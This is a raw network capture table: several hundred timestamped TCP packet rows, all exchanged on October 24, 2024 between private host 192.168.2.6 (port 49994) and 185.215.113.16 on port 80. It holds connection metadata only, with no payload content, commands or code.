Oct 24, 2024 18:09:14.290014982 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290036917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290047884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290064096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290081978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290102959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290113926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290138960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290148973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290162086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290182114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290200949 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290232897 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290246964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290282965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290287971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290318012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290338039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290345907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290368080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290380955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290393114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290416002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290433884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290453911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290472984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290503979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290507078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290535927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290550947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290571928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290580034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290605068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290617943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290638924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290647030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290673018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290692091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290707111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290725946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290740013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.290766954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.290785074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335557938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335591078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335624933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335674047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335725069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335741997 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335776091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335808039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335809946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335808039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335836887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335848093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335855961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335881948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335899115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335916042 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335923910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335949898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335967064 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.335985899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.335999012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336019993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336035013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336054087 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336071014 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336086988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336091042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336121082 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336138964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336155891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336163044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336189032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336210012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336225986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336232901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336260080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336277008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336294889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336302996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336323977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.336340904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.336364985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361447096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361496925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361545086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361557961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361594915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361633062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361632109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361632109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361668110 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361684084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361691952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361736059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361751080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361763954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361795902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361798048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361819983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361845016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361851931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361893892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361900091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361942053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361949921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.361974955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.361999989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362009048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362025976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362056971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362065077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362103939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362107038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362137079 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362159967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362168074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362185955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362216949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362221956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362250090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362271070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362282991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362308979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362329960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362332106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362380028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362384081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362409115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362432003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362456083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362457991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362489939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362509012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362521887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362545013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362569094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362572908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362622976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362623930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362657070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362674952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362688065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362705946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362720966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362735033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362754107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362786055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362788916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362819910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362821102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362821102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362854004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362867117 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362889051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362905025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362922907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362941980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362955093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362981081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.362987995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.362999916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363020897 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363053083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363064051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363064051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363085032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363099098 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363117933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363137007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363146067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363173008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363181114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363195896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363214970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363234997 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363248110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.363265991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.363296986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.403844118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.403887033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.403923988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404027939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404028893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404028893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404051065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404086113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404138088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404150963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404150963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404171944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404186010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404226065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404233932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404257059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404267073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404289961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404318094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404323101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404339075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404357910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404369116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404392004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404409885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404422998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404433012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404457092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404474974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404491901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.404499054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.404544115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407250881 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407303095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407361984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407376051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407376051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407398939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407437086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407444000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407444954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407469988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407478094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407509089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407520056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407553911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407569885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407593012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407601118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407641888 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407676935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407708883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407721996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407746077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407748938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407776117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.407787085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.407831907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408052921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408087015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408111095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408133984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408137083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408170938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408184052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408205032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408214092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408236980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408243895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408271074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408288002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408299923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408317089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408343077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408580065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408629894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408629894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408664942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408694029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408694983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408730984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408760071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408763885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408788919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408813000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408909082 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408958912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.408961058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.408991098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409008980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409023046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409032106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409065962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409339905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409389973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409390926 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409424067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409439087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409459114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409461975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409503937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409508944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409543991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409554005 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409578085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409593105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409611940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409629107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409657955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409677029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409709930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409725904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409743071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409750938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409786940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409813881 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409859896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409862995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409898043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.409926891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.409955025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410020113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410054922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410068989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410099030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410104036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410150051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410157919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410192966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410202980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410223961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410240889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410260916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410264015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410305977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410312891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410346031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410356998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410378933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410391092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410429001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410429001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410463095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410473108 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410495996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410511017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410530090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410545111 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410563946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.410573006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.410614967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454616070 CEST	80	49994	185.215.113.16	192.168.2.6
